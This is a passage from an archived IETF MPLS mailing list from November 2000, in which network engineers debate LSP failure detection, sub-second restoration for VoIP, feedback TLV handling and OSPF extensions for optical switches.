traffic so that the bandwidth falls below Main on a incident, but that's not too hard. MPLS also allows a wider range of topologies -- SDH is quite limited and can't implement all the desirable layer two topologies without having huge amounts of idle bandwidth. We're going to use MPLS to implement protection to get the most of out of our multi-million dollar undersea capacity between Australia, Hawaii and Continental USA. We want to run VoIP across this link, so we need sub-second restoration. I don't believe that our requirements are unusual, being a research network we just encounter them early. Perhaps the best tactic is to allow the lower MPLS LSPs to inform the upper LSPs of their typical restoration period [1]. This would be part of the OAM protocol that propogates the failure [there seem to be multiple groups working on this?]. The upper LSP can then decide if it is faster to allow restoration or to select its fast re-route path (or to do a routing update). It would then propogate the typical restoration delay of the selected restoration mechanism to any MPLS LSPs above itself. A timer would be needed to ensure that the contracted resoration time is met, if it expires the LSP should fast re-route. This would allow customers to take redundant LSPs across multiple ISPs to implement protection from configuration error and other ISP-wide outages. Regards, Glen [1] The "typical restoration period" would default to a constant that depends upon the media type. Long-haul links could be configured to add in the link's latency constant. -- Glen Turner Network Engineer (08) 8303 3936 Australian Academic and Research Network glen.turner@aarnet.edu.au http://www.aarnet.edu.au/ -- The revolution will not be televised, it will be digitised From owner-mpls@UU.NET Thu Nov 9 11:09:25 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA24480 for ; Thu, 9 Nov 2000 11:09:25 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjoou24182; Thu, 9 Nov 2000 16:08:01 GMT Received: by mail-control.mail.uu.net id QQjoou22344 for mpls-outgoing; Thu, 9 Nov 2000 16:07:19 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjoou22325 for ; Thu, 9 Nov 2000 16:07:14 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjoou10634 for ; Thu, 9 Nov 2000 16:07:06 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjoou05027 for ; Thu, 9 Nov 2000 16:07:05 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id LAA19279 for mpls@uu.net; Thu, 9 Nov 2000 11:07:05 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjoou22258 for ; Thu, 9 Nov 2000 16:06:33 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjoou06990 for ; Thu, 9 Nov 2000 16:05:52 GMT Received: from xover.hjinc.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [38.160.241.130]) id QQjoou03132 for ; Thu, 9 Nov 2000 16:05:52 GMT Received: by xover.hjinc.com with Internet Mail Service (5.5.2650.21) id ; Thu, 9 Nov 2000 11:04:03 -0500 Message-ID: <87009604743AD411B1F600508BA0F9591ABEAB@xover.hjinc.com> From: "Kullberg, Alan" To: "'Darek Skalecki'" Cc: mpls@UU.NET Subject: RE: draft-ietf-mpls-te-feed-01 Date: Thu, 9 Nov 2000 11:04:02 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk Hi Darek, Will the draft be updated to specify that U and F MUST be set to 1 and that the feedback TLVs MUST be dropped when exiting an area or an AS? Thanks, Alan Kullberg -----Original Message----- From: Darek Skalecki [mailto:dareks@nortelnetworks.com] Sent: Thursday, November 09, 2000 8:55 AM To: Bui, Khanh Cc: mpls@UU.NET Subject: Re: draft-ietf-mpls-te-feed-01 "Bui, Khanh" wrote: Hi, I have a couple of questions on this draft. 1. How should the U and F bits be set in the feedback TLV? Should they both be set to 1 so that the message containing this TLV will go through any node that doesn't support feedback TLV, and eventually will get to the source node? The idea is that nodes which do not support Feedback TLVs simply pass these TLVs transparently. This obviously can create discontinuity in the information that is fed back, i.e. information about some links along the path can be omitted. 2. How should the feedback TLV be handled if the message containing this TLV travels from one autonomous system or from one IGP area to another? Should the TLV be filtered out at the edge node before entering the other AS or other IGP area? Yes, all the Feedback TLVs present on a message should be dropped when the message exits AS or IGP area through an edge node. Thanks in advance, Khanh -- Darek Skalecki Nortel (613) 765-2252 From owner-mpls@UU.NET Thu Nov 9 11:59:11 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA13338 for ; Thu, 9 Nov 2000 11:59:11 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjoox21622; Thu, 9 Nov 2000 16:57:35 GMT Received: by mail-control.mail.uu.net id QQjoox27299 for mpls-outgoing; Thu, 9 Nov 2000 16:57:04 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjoox27294 for ; Thu, 9 Nov 2000 16:57:02 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjoox27942 for ; Thu, 9 Nov 2000 16:56:22 GMT From: neil.2.harrison@bt.com Received: from gollum.axion.bt.co.uk by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: gollum.axion.bt.co.uk [132.146.17.41]) id QQjoox07823 for ; Thu, 9 Nov 2000 16:56:20 GMT Received: from cclmsent02.lon.bt.com by gollum (local) with ESMTP; Thu, 9 Nov 2000 16:37:08 +0000 Received: by cclmsent02.lon.bt.com with Internet Mail Service (5.5.2651.88) id ; Thu, 9 Nov 2000 16:35:38 -0000 Message-ID: To: glen.turner@aarnet.edu.au Cc: david.charlap@marconi.com, mpls@UU.NET Subject: RE: LSP failure detection Date: Thu, 9 Nov 2000 16:35:34 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.88) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk Hi Glen, You wrote : > We want to run VoIP across this link, so we need sub-second > restoration. NH=> Voice is one application that certainly does not need a sub-1s restoration time. Think about it. If a call goes dead are you really going to hang-up in less than 1s? This was indeed the historical background as to why the unavailable state threshold was specified as 10 consectutive SES (severely errored seconds) in the ITU about 15 years ago (G.821). There may be PSTN *signalling protocols* that require faster restoration (I believe some old USA systems have 100ms timers?...but I am not sure).......but the answer here is to fix the application if possible rather than spending huge effort/cost of getting unecessarily fast restoration. If we really need these restoration speeds, then before blindly going for them can we please make sure we have captured the *real* application requirements that are driving them. So let's see them listed. neil From owner-mpls@UU.NET Thu Nov 9 13:04:29 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA06739 for ; Thu, 9 Nov 2000 13:04:29 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjopc05103; Thu, 9 Nov 2000 18:02:54 GMT Received: by mail-control.mail.uu.net id QQjopc20400 for mpls-outgoing; Thu, 9 Nov 2000 18:02:32 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjopc20354 for ; Thu, 9 Nov 2000 18:02:24 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjopc16404 for ; Thu, 9 Nov 2000 18:02:11 GMT Received: from red.juniper.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: red.juniper.net [207.17.136.137]) id QQjopc29246 for ; Thu, 9 Nov 2000 18:02:10 GMT Received: from kummer.juniper.net (kummer.juniper.net [172.17.12.90]) by red.juniper.net (8.9.3/8.9.3) with ESMTP id KAA17920; Thu, 9 Nov 2000 10:02:06 -0800 (PST) Received: (from kireeti@localhost) by kummer.juniper.net (8.8.7/8.7.3) id KAA03807; Thu, 9 Nov 2000 10:02:06 -0800 (PST) Date: Thu, 9 Nov 2000 10:02:06 -0800 (PST) From: Kireeti Kompella Message-Id: <200011091802.KAA03807@kummer.juniper.net> To: mpls@UU.NET, peter.lewis@upperside.fr Subject: Re: IP over DWDM 2000 conference Sender: owner-mpls@UU.NET Precedence: bulk > IP over DWDM 2000 conference, Paris, 24-27 November I believe that the dates are 27-30 November; that's what it says on the upperside web site. Kireeti. From owner-mpls@UU.NET Thu Nov 9 13:50:44 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA22535 for ; Thu, 9 Nov 2000 13:50:44 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjopf20425; Thu, 9 Nov 2000 18:48:05 GMT Received: by mail-control.mail.uu.net id QQjopf01690 for mpls-outgoing; Thu, 9 Nov 2000 18:47:25 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjopf01639 for ; Thu, 9 Nov 2000 18:47:12 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjopf08486 for ; Thu, 9 Nov 2000 18:45:10 GMT Received: from red.juniper.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: red.juniper.net [207.17.136.137]) id QQjopf10797 for ; Thu, 9 Nov 2000 18:45:09 GMT Received: from kummer.juniper.net (kummer.juniper.net [172.17.12.90]) by red.juniper.net (8.9.3/8.9.3) with ESMTP id KAA22703; Thu, 9 Nov 2000 10:45:05 -0800 (PST) Received: (from kireeti@localhost) by kummer.juniper.net (8.8.7/8.7.3) id KAA03898; Thu, 9 Nov 2000 10:45:05 -0800 (PST) Date: Thu, 9 Nov 2000 10:45:05 -0800 (PST) From: Kireeti Kompella Message-Id: <200011091845.KAA03898@kummer.juniper.net> To: glen.turner@aarnet.edu.au, neil.2.harrison@bt.com Subject: Re: LSP failure detection Cc: david.charlap@marconi.com, mpls@UU.NET Sender: owner-mpls@UU.NET Precedence: bulk Hi Glen, Neil, > > What is the defect entry criteria on these rapid Hellos? I would strongly > > suggest that if anyone is thinking of trying to get very fast reactions > > times to be used for restoration they should be very careful. In my view > > restoration times above the L1 (ie PDH/SDH/OTN) should not be faster than > > somewhere in the region of 2-3s.....otherwise you are going to get a lot of > > unecessary hits when the event would of have self-healed. And if anyone is > > using some multi-level priority bumping scheme then (esp at highish > > utilisations) this can lead to significant network disruptions felt far > > beyoind the initial event source. Two related points: first, if an LSP (for whatever reason) runs over unprotected links (say GigE), you would want it to recover as fast as possible, because L1 just cannot recover. Second, a unified control plane and a common view of the topology is needed to make these kinds of decisions. Say the above LSP runs over 4 segments, two of which are SONET rings, one of which has link local protection (a la LMP) and the last is unprotected. The ideal solution is to protect the last segment with MPLS fast reroute, and to leave recovery on the other segments to L1 mechanisms. But to get such fine grain protection schemes, and to *not* get the "unnecessary hits" from double protection (as well as the network inefficiency) requires that MPLS knows what L1 is doing. I agree with the high order bit, though: having fast protection at multiple layers is asking for trouble. > One of the reasons for improving the reaction time, and the OAM performance > in general, is to dispense with protection at the SDH layer and move protection > into MPLS. Absolutely. > MPLS also allows a wider range of topologies -- SDH is quite limited and > can't implement all the desirable layer two topologies without having > huge amounts of idle bandwidth. Also a wider selection of L1/L2 (what if some of the hops were GigE?). On a different note: > NH=> Voice is one application that certainly does not need a sub-1s > restoration time. Don't know about this. I do know that we (and other vendors) have a lot of customers asking us for sub-second (even 50ms) MPLS fast reroute. Even if (big if) voice doesn't need sub-second recovery, there will be applications that do, and many find the option to use MPLS fast reroute over GigE or unprotected SONET/SDH gear appealing. Kireeti. From owner-mpls@UU.NET Thu Nov 9 13:57:10 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA24771 for ; Thu, 9 Nov 2000 13:57:05 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjopf24920; Thu, 9 Nov 2000 18:54:47 GMT Received: by mail-control.mail.uu.net id QQjopf02272 for mpls-outgoing; Thu, 9 Nov 2000 18:54:26 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjopf02265 for ; Thu, 9 Nov 2000 18:54:24 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjopf22973 for ; Thu, 9 Nov 2000 18:54:00 GMT Received: from smtp4.cluster.oleane.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: smtp4.cluster.oleane.net [195.25.12.62]) id QQjopf05968 for ; Thu, 9 Nov 2000 18:53:59 GMT Received: from oleane (dyn-1-1-135.Vin.dialup.oleane.fr [195.25.4.135]) by smtp4.cluster.oleane.net with SMTP id eA9Irum69626 for ; Thu, 9 Nov 2000 19:53:56 +0100 (CET) Message-ID: <001701c04a7e$cf6dfb00$8001a8c0@oleane.com> From: "Peter Lewis" To: Subject: IP over DWDM 2000 conference Date: Thu, 9 Nov 2000 19:56:41 +0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0014_01C04A87.2DA062A0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-mpls@UU.NET Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_0014_01C04A87.2DA062A0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable Sorry for the mistake. The IP over DWDM 2000 Conference, Paris will be held from the 27th to = the 30th of November. Please visit: http://www.upperside.fr/badwdm.htm Thanks=20 ------=_NextPart_000_0014_01C04A87.2DA062A0 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
Sorry for the mistake.
The IP over DWDM 2000 Conference, Paris will be = held from=20 the 27th to the 30th of November.
 
Please visit:
http://www.upperside.fr/badwd= m.htm
 
Thanks
------=_NextPart_000_0014_01C04A87.2DA062A0-- From owner-mpls@UU.NET Thu Nov 9 16:58:03 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA23406 for ; Thu, 9 Nov 2000 16:58:03 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjopr00071; Thu, 9 Nov 2000 21:52:34 GMT Received: by mail-control.mail.uu.net id QQjopr27387 for mpls-outgoing; Thu, 9 Nov 2000 21:51:27 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjopr27341 for ; Thu, 9 Nov 2000 21:51:12 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjopr28343 for ; Thu, 9 Nov 2000 21:49:03 GMT Received: from exchsrv1.cosinecom.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail.cosinecom.com [63.88.104.16]) id QQjopr08415 for ; Thu, 9 Nov 2000 21:49:03 GMT Received: by exchsrv1.cosinecom.com with Internet Mail Service (5.5.2650.21) id ; Thu, 9 Nov 2000 13:47:36 -0800 Message-ID: <7EB7C6B62C4FD41196A80090279A2911011820E9@exchsrv1.cosinecom.com> From: Anoop Ghanwani To: "'Kireeti Kompella'" , glen.turner@aarnet.edu.au, neil.2.harrison@bt.com Cc: david.charlap@marconi.com, mpls@UU.NET Subject: RE: LSP failure detection Date: Thu, 9 Nov 2000 13:47:35 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C04A96.AB8E3F70" Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C04A96.AB8E3F70 Content-Type: text/plain; charset="ISO-8859-1" [..] > Don't know about this. I do know that we (and other vendors) have > a lot of customers asking us for sub-second (even 50ms) MPLS fast > reroute. Even if (big if) voice doesn't need sub-second recovery, > there will be applications that do, and many find the option to use > MPLS fast reroute over GigE or unprotected SONET/SDH gear appealing. Is this 50 ms for a source-based restoration of an end-to-end LSP or for local repair at the point of failure? If it is for the former, it seems unrealistic, since the failure notification needs to propagate all the way to the source (could be several hops away) and the source needs to act on it. 50 ms is not a whole lot of time. -Anoop ------_=_NextPart_001_01C04A96.AB8E3F70 Content-Type: text/html; charset="ISO-8859-1" RE: LSP failure detection

[..]

> Don't know about this.  I do know that we (and other vendors) have
> a lot of customers asking us for sub-second (even 50ms) MPLS fast
> reroute.  Even if (big if) voice doesn't need sub-second recovery,
> there will be applications that do, and many find the option to use
> MPLS fast reroute over GigE or unprotected SONET/SDH gear appealing.

Is this 50 ms for a source-based restoration of an end-to-end LSP
or for local repair at the point of failure?  If it is for the
former, it seems unrealistic, since the failure notification needs
to propagate all the way to the source (could be several hops
away) and the source needs to act on it.  50 ms is not a whole
lot of time.

-Anoop

------_=_NextPart_001_01C04A96.AB8E3F70-- From owner-mpls@UU.NET Thu Nov 9 17:15:28 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA27324 for ; Thu, 9 Nov 2000 17:15:27 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjops16287; Thu, 9 Nov 2000 22:12:52 GMT Received: by mail-control.mail.uu.net id QQjops11276 for mpls-outgoing; Thu, 9 Nov 2000 22:12:12 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjops11125 for ; Thu, 9 Nov 2000 22:12:06 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjops21500 for ; Thu, 9 Nov 2000 22:07:11 GMT Received: from hotmail.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: oe27.law10.hotmail.com [64.4.14.84]) id QQjops07204 for ; Thu, 9 Nov 2000 22:07:09 GMT Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 9 Nov 2000 14:07:08 -0800 X-Originating-IP: [12.124.181.202] From: "Frank Hujber" To: "MPLS Group" Subject: OSPF for MPLambdaS: Extensions Date: Thu, 9 Nov 2000 17:08:53 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Message-ID: X-OriginalArrivalTime: 09 Nov 2000 22:07:08.0080 (UTC) FILETIME=[66C1C300:01C04A99] Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Folks, I apologize if this question has been previously asked and answered... In "...kompella-ospf-ompls-extensions..." there are additions made to "...katz-yeung-ospf-traffic..." yet the notion of identifying a port on an OXC with an IP address was left intact. What is the motivation for this? Is there a choice that is compliant? Frank Hujber fhujber@hotmail.com From owner-mpls@UU.NET Thu Nov 9 20:26:14 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA11029 for ; Thu, 9 Nov 2000 20:26:14 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjoqf28424; Fri, 10 Nov 2000 01:23:53 GMT Received: by mail-control.mail.uu.net id QQjoqf02818 for mpls-outgoing; Fri, 10 Nov 2000 01:23:07 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjoqf02791 for ; Fri, 10 Nov 2000 01:22:51 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjoqf24596 for ; Fri, 10 Nov 2000 01:22:24 GMT Received: from red.juniper.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: red.juniper.net [207.17.136.137]) id QQjoqf05314 for ; Fri, 10 Nov 2000 01:22:24 GMT Received: from kummer.juniper.net (kummer.juniper.net [172.17.12.90]) by red.juniper.net (8.9.3/8.9.3) with ESMTP id RAA29454; Thu, 9 Nov 2000 17:22:24 -0800 (PST) Received: (from kireeti@localhost) by kummer.juniper.net (8.8.7/8.7.3) id RAA04898; Thu, 9 Nov 2000 17:22:23 -0800 (PST) Date: Thu, 9 Nov 2000 17:22:23 -0800 (PST) From: Kireeti Kompella Message-Id: <200011100122.RAA04898@kummer.juniper.net> To: fhujber@hotmail.com, mpls@UU.NET Subject: Re: OSPF for MPLambdaS: Extensions Sender: owner-mpls@UU.NET Precedence: bulk Hi, > In "...kompella-ospf-ompls-extensions..." there are additions made to > "...katz-yeung-ospf-traffic..." yet the notion of identifying a port on an > OXC with an IP address was left intact. > > What is the motivation for this? First of all, OSPF is an IP protocol. It seems logical to identify things with IP addresses. Second, what you say is not completely true: there is an alternative, to identify ports with "interface indices" -- simple 16-bit numbers, to be extended to 32-bit numbers in a future version. Third, this comes back to the question of using IP-based protocols for the control of OXCs, etc. -- it is perfectly feasible to use, say PNNI with PNNI-style addresses for this purpose, but the IETF is probably not the ideal venue for such protocol development. What type of addresses would you suggest? > Is there a choice that is compliant? Compliant with what? Kireeti. From owner-mpls@UU.NET Fri Nov 10 03:34:35 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA28058 for ; Fri, 10 Nov 2000 03:34:35 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjori10923; Fri, 10 Nov 2000 08:33:23 GMT Received: by mail-control.mail.uu.net id QQjori16525 for mpls-outgoing; Fri, 10 Nov 2000 08:32:50 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjori16518 for ; Fri, 10 Nov 2000 08:32:33 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjorh16878 for ; Fri, 10 Nov 2000 08:22:49 GMT From: neil.2.harrison@bt.com Received: from marvin.axion.bt.co.uk by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: marvin.axion.bt.co.uk [132.146.16.82]) id QQjorh14740 for ; Fri, 10 Nov 2000 08:22:49 GMT Received: from cclmsent02.lon.bt.com by marvin (local) with ESMTP; Fri, 10 Nov 2000 08:22:15 +0000 Received: by cclmsent02.lon.bt.com with Internet Mail Service (5.5.2651.88) id ; Fri, 10 Nov 2000 08:22:08 -0000 Message-ID: To: kireeti@juniper.net, glen.turner@aarnet.edu.au Cc: david.charlap@marconi.com, mpls@UU.NET Subject: RE: LSP failure detection Date: Fri, 10 Nov 2000 08:22:05 -0000 X-Mailer: Internet Mail Service (5.5.2651.88) MIME-version: 1.0 Content-type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Hi Kireeti, > Two related points: first, if an LSP (for whatever reason) runs over > unprotected links (say GigE), you would want it to recover as fast as > possible, because L1 just cannot recover. NH=> If one has access to the L1 section/media coding and can detect failure at this level (eg laser dead) then that's fine. To me, however, this is restoration at the L1 level (at whatever the trail at this level is). If, on the other hand, one is using the section/media trail information to trigger a restoration in a higher level client (which will generally not be congruent with the lower server trail, ie 'server layer trails = client layer links') then I would be very wary of the general applicability of such a technique. The most important observation is that this model cannot be generalised (ie its needs intimate knowledge of all client/server trails relationships to the duct network layer), so once you step outside the domain of 'total control' (ie across an inter-operator NNI) one will not know the lower server layer trail composition. So this applies to all situations where (i) an operator has to lease lower layer services from another operator (eg to provide a global VPN solution for a given customer say) or (ii) looking at the SME->mass market end of the spectrum, the customers who wish to communicate are served by access points of different operator doamains. I would not regard these cases as unusual, in fact I consider them the norm and are a factor of global interoperability/applicability, and so cannot be ignored. A 2nd point is that using the characteristic information (of the trail) in one layer network (be it server or client) to effect actions in another layer network constitutes an architectural violation. I agree it can be made to work, but the penalty one pays it that the 2 layer networks have now become intrinsically bound together and so cannot evolve (with the ultimate case of being removed/replaced over time) without impacting the other layer network. So one can create backwards compatibility problems by violating this architectural principle. > Second, a unified control plane and a common view of the topology is > needed to make these kinds of decisions. NH=> I totally agree. Hence the observations above, ie the model does apply outside of an NNI or where one is leasing a server layer from another operator. But these are the facts of life for operators and so cannot be ignored. This is indeed why, when we were discussing the peer/overlay models for the OTN, BT was very clear as to why we need the overlay model and wanted to point out the limited applicability of the peer model. > Say the above LSP runs over > 4 segments, two of which are SONET rings, one of which has link local > protection (a la LMP) and the last is unprotected. The ideal solution > is to protect the last segment with MPLS fast reroute, and to leave > recovery on the other segments to L1 mechanisms. But to get such fine > grain protection schemes, and to *not* get the "unnecessary hits" from > double protection (as well as the network inefficiency) requires that > MPLS knows what L1 is doing. NH=> I am not sure this model is a correct interpretation of the situation Kireeti. In the case given above there *should*, in my view, be 2 LSPs required: - one is the trail that goes end-end (ie between its trail termination points across *all* the 4 lower server layer trails....these are *not* segments BTW, these are layer network entities in their own right); - one is a server layer (LSP) trail on the *last* partition of the client end-end LSP. It is this last server layer LSP that needs to provide the prot-sw service you are describing......it should not be a function of the partition of the client LSP. Not sure how well I described that, but I hope what I am trying to say is clear. > I agree with the high order bit, though: having fast protection at > multiple layers is asking for trouble. NH=>Every time we have studied prot-sw in BT we come to the same conclusions......minimise the layers at which prot-sw is deployed....ideally just 2: L1 and fast, applications interfacing and (relatively) slow. And as I said in a few prior mails on this topic.....don't go too fast at the application interfacing level. It is not needed, it will cause problems and increase costs (since every layer where prot-sw is deployed lower has to go increasingly faster), you will get prot-sw for events that self-heal, if you use bumping at high utilisations then you will be in big trouble (N hits for 1), etc. > > NH=> Voice is one application that certainly does not need a sub-1s > > restoration time. > > Don't know about this. NH=> I do......but its common sense anyway. For voice the critical observation is how long will someone hold onto a call that has died before giving up? I would suggest it is probably of the order of 4-8s for maybe 90% of the population (in practice I think the range will extend further at the higher end). > I do know that we (and other vendors) have > a lot of customers asking us for sub-second (even 50ms) MPLS fast > reroute. NH=> But do you know why? I would suggest its historical because someone set a precedent that (due to the particular nature of the L1 technology where it originated) and this now sets the benchmark for other technologies to hit. Well that's OK if you go into it with your eyes open and recognise you may be making a big mistake, incurring totally unecessary costs and making poor restoration decisions that incur higher performance penalties in practice. Even if (big if) voice doesn't need sub-second recovery, > there will be applications that do NH=> Can someone please tell me what these are? I think we should start by listing them. If we can prove these exist, and are the majority, then lets go for these very fast restorations as the norm. If, on the other hand, these either don't exist or are not the norm then (i) don't do it or (ii) just target those that do (there are several ways one can do this, ie dual pre-calc routes) respectively > , and many find the option to use > MPLS fast reroute over GigE or unprotected SONET/SDH gear appealing. NH=> I don't want to stop anyone going down this road if they want. That is their decision. All I can do is point out some logic/experience that you may want to consider before departing. From owner-mpls@UU.NET Fri Nov 10 04:50:54 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA00039 for ; Fri, 10 Nov 2000 04:50:54 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjorn23948; Fri, 10 Nov 2000 09:50:07 GMT Received: by mail-control.mail.uu.net id QQjorn02094 for mpls-outgoing; Fri, 10 Nov 2000 09:49:34 GMT Received: from imr3.ash.ops.us.uu.net by 